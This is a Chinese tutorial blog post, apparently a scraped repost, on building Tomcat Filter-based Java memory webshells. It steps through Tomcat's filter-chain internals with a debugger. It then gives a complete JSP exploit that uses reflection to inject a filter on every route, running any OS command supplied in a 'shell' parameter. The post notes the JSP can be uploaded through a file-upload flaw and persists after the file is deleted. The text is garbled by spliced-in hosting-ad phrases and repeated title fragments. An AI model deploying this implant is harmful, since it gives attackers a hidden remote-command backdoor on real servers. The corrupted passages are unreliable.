您现在的位置是:测试开发营 > 系统运维
Java内存马连续剧——Filter内存马
测试开发营2025-11-26 21:05:37【系统运维】9人已围观
简介知识基础:刚开始内存马的这块学习与反序列化并无太大关系,反而与javaweb,tomcat联系更加紧密。所以在学习内存马之前需要先了解JSP,java web的三大件,Servlet,Filter,L
知识基础:
刚开始内存马的内存内存这块学习与反序列化并无太大关系 ,反而与javaweb ,马连马tomcat联系更加紧密。续剧所以在学习内存马之前需要先了解JSP ,内存内存java web的马连马三大件 ,Servlet,续剧Filter ,内存内存Listener的马连马基本知识和工作流程和Tomcat 架构的相关内容 。
0x01 什么是续剧Filter马
内存马就是无文件木马,无文件落地,内存内存它通常会存在进程,香港云服务器马连马内存或者java虚拟机中,续剧特点更加隐蔽,内存内存难以排查 ,马连马并且也难以删除。续剧而今天学习的Filter内存马是传统web应用型内存马,主要将恶意代码注入到过滤器中,当过滤器拦截servlet请求的参数时 ,过滤器中的恶意代码就会执行 。
0x02 环境搭建
首先配置一个 servlet 的web项目 ,
1.png
然后一直点下一步就好了 ,它会自动帮我们生成一个简单的源码库servlet。
pom.xml中导入tomcat相关依赖:
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>9.0.38</version> <scope>provided</scope> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-websocket</artifactId> <version>9.0.38</version> </dependency>方便之后调试代码,在这之后我们创建一个自定义的Filter过滤器
package com.example.memoryhorse; import javax.servlet.*; import java.io.IOException; public class MyFilter implements Filter{ @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("执行过滤功能"); servletRequest.setCharacterEncoding("utf-8"); servletResponse.setCharacterEncoding("utf-8"); servletResponse.setContentType("text/html;charset=UTF-8"); filterChain.doFilter(servletRequest,servletResponse); System.out.println(servletRequest.getParameter("cmd")); Runtime.getRuntime().exec(servletRequest.getParameter("cmd")); } }重写了doFilter方法,里面添加恶意代码,接收cmd参数,执行任意命令 。web.xml中配置相关参数
<filter> <filter-name>MyFilter</filter-name> <filter-class>com.example.memoryhorse.MyFilter</filter-class> </filter> <filter-mapping> <filter-name>MyFilter</filter-name> <url-pattern>/MyFilter</url-pattern> </filter-mapping>这里我定义的是/MyFilter路由,在访问这个路由时,就会被我们自定义的过滤器拦截。
0x03 Filter内存马探索
这个时候是不是就有点像内存马的服务器租用样子 ,我们注册了一个恶意的 /MyFilter 路由,访问这个路由可以执行任意代码。测试一下 。
2.png
成功弹出计算器,这也是注入Filter内存马的一个抽象的体现 。然而在实际攻防场景中,我们不可能在别人服务器上插入自己自定义的过滤器,web.xml这个配置文件也不是那么容易修改 ,就算修改了配置文件也很好排查,模板下载起不到隐秘的效果 ,要想动态的注册Filter马,就必须弄清楚过滤器的创建和调用过程 。
1.tomcat Filter 的流程分析
在MyFilter的doFilter方法里下个断点,访问/MyFilter路由,会被我们自定义的过滤器拦截,doFilter方法是处理过滤功能的方法,开始调试。建站模板
3.png
这个filterChain是一个过滤器链 ,通过调试看到里面存放着两个过滤器,一个是我们自定义的 ,一个是 tomcat 自带的,跟进它的doFilter方法。
判断 Globals.IS_SECURITY_ENABLED 安全模式是否开启,这里判断false 。
4.png
跟进 internalDoFilter 方法。
5.png
filters 是云计算过滤器链数组 ,取数组的下标 ,遍历过滤器,赋值给filterConfig。
6.png
此时的过滤器为WsFilter 调用它的doFilter方法 ,跟进看一下。
7.png
这里的判断 是否满足WebSocket握手的特殊条件,而且是否已经配置了相应的类来处理WebSocket连接,如果两个都不满足 ,然后回调用过滤器链中的下一个过滤器 。继续跟进。
又回到了 internalDoFilter 方法,此时pos=2,不满足if条件 。也就是说当过滤器遍历完后,就会调用 service 方法处理具体的业务请求 。
8.png
事实上可以定义多个过滤器 ,当拦截请求后 ,从filterChain 中一个个调用doFilter方法 ,最终执行 service 方法 。
那么Filter链是怎么一步步创建的 ,我们要注册一个恶意的Filter进去就需要了解Filter链的创建过程。
9.png
通过执行流可以看到不断调用 invoke 方法,跟进最后一个 invoke方法,也就是 StandardWrapperValve 类的 invoke 方法。
10.png
这里已经创建好了 Filter链,往上翻代码。
11.png
createFilterChain 就是创建Filter链的重要方法,进入到这个方法下个断点,开始调试。
12.png
这里实例化一个filterChain ,设置了当前过滤器链中的 Servlet ,然后获取当前 Servlet 包含在的上下文,从调式信息就可以看到是 StandardContext 对象,最后定义一个filterMaps 获取了当前上下文中的过滤器映射。
13.png
此时的filterMaps就获取到了两个过滤器,到后面会对filterMaps进行两次遍历。
这段代码的目的是将根据 URL 和 Servlet 名称匹配的过滤器配置添加到过滤器链中 ,以确保在请求处理过程中应用适当的过滤器。匹配过滤器配置时 ,会检查 Dispatcher 类型、URL 和 Servlet 名称 ,然后将匹配的过滤器配置添加到过滤器链中。如果没有匹配的过滤器配置 ,继续处理下一个过滤器映射。
14.png
filterConfig 是通过调用context上下文的findFilterConfig方法获取,filterConfigs是一个Map ,从里面拿 。
15.png
最后通过 addFilter 方法将过滤器添加到链中 。
2.攻击思路分析
过滤器是从filterConfigs这个Map里拿的 ,那么我们把恶意的Filter添加进 filterConfigs 里,等它取出来 ,添加到Filter链中就可以了 ,那么接下来怎么构造过滤器 ,也就是filterConfig,看调试信息 。
16.png
首先获取上下文context ,然后就是自定义的filter代码,最后一个filterDef就是对应web.xml中对filter的配置 ,fiterConfig的相关内容都是从context中得到 。
FilterDefs:存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名 ,过滤器实例 等基本信息 FilterConfigs :存放 filterConfig 的数组 ,在 FilterConfig 中主要存放 FilterDef 和 Filter 对象等信息 FilterMaps :存放 FilterMap 的数组 ,在 FilterMap 中主要存放了 FilterName 和 对 应的 URLPattern所以只要我们将filter ,FilterDefs,FilterMaps添加到FilterConfigs中就可以添加filter了 。
贴上别的师傅的流程图:
17.png
其中这里涉及到了几个类:
ServletContext : javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口 ,提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问 。WEB容器在启动时 ,它会为每个Web应用程序都创建一个对应的ServletContext ,它代表当前Web应用 。并且它被所有客户端共享。 ApplicationContext: org.apache.catalina.core.ApplicationContext 对应Tomcat容器,为了满足Servlet规范 ,必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext 。 StandardContext : Catalina主要包括Connector和Container ,StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说 ,不是由它来进行处理 ,而是交给内部的valve处理 。 一个context表示了一个外部应用 ,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina)引用师傅的解释 ,当前这是前面tomcat架构的内容 ,所以基础内容还是要了解。
0x04 Filter内存马exp编写
通过反射创建上面需要的几个对象 :
<%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.catalina.core.ApplicationContextFacade" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.HashMap" %> <%@ page import="java.io.IOException" %> <% //请求对象 request 中获取 ServletContext 对象。 ServletContext servletContext = request.getServletContext(); //ApplicationContextFacade 是 Spring 框架中的一个类 ,用于封装 Spring 的 Web 应用程序上下文 。 ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext; //通过反射获取上下文 Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context"); applicationContextFacadeContext.setAccessible(true); // context 字段,即 Spring 的应用程序上下文对象。通过反射获取到该字段的值,它被强制转换为 ApplicationContext 类型 ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade); //从 ApplicationContext 类中获取一个名为 "context" 的私有字段。这个字段存储了实际的 Spring 应用程序上下文对象 Field applicationContextContext = applicationContext.getClass().getDeclaredField("context"); applicationContextContext.setAccessible(true); //类型转换standardContext,标准的web应用程序上下文 StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext); //创建filterConfigs Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigs.setAccessible(true); HashMap hashMap = (HashMap) filterConfigs.get(standardContext); String filterName = "Filter"; if (hashMap.get(filterName)==null){ //构造filter对象 Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("filter初始化"); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { servletRequest.setCharacterEncoding("utf-8"); servletResponse.setCharacterEncoding("utf-8"); servletResponse.setContentType("text/html;charset=UTF-8"); filterChain.doFilter(servletRequest,servletResponse); System.out.println(servletRequest.getParameter("shell")); Runtime.getRuntime().exec(servletRequest.getParameter("shell")); System.out.println("执行过滤"); } @Override public void destroy() { } }; //构造filterDef对象 FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(filterName); filterDef.setFilterClass(filter.getClass().getName()); //将过滤器的配置信息添加到应用程序上下文中 standardContext.addFilterDef(filterDef); //构造filterMap对象 FilterMap filterMap = new FilterMap(); //添加映射的路由为所有请求 filterMap.addURLPattern("/*"); filterMap.setFilterName(filterName); filterMap.setDispatcher(DispatcherType.REQUEST.name()); //将上述设置好的过滤器映射对象添加到 StandardContext 中 ,并将其插入到已有的过滤器映射之前 standardContext.addFilterMapBefore(filterMap); //构造filterConfig Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); //将filterConfig添加到filterConfigs中 ,即可完成注入 hashMap.put(filterName,applicationFilterConfig); response.getWriter().println("注入完成"); } %>为什么要写jsp文件,因为在实际场景中,可以通过文件上传漏洞将这个jsp马上传上去完成内存马的注入。注释上写了,分步编写exp。
18.png
注入成功后,我们对服务器访问任何请求,都会执行恶意代码 。而且当jsp文件删除后,木马仍然有效。它存在当前的web应用上下文中,所以重启服务器就没了。
参考链接:
https://xz.aliyun.com/t/10888
本文作者 :XiLitter , 转载请注明来自FreeBuf.COM
很赞哦!(346)
上一篇: 探索物联网安全的未来:创新方法和挑战
下一篇: 绿色云计算正在推动可持续的未来梦想







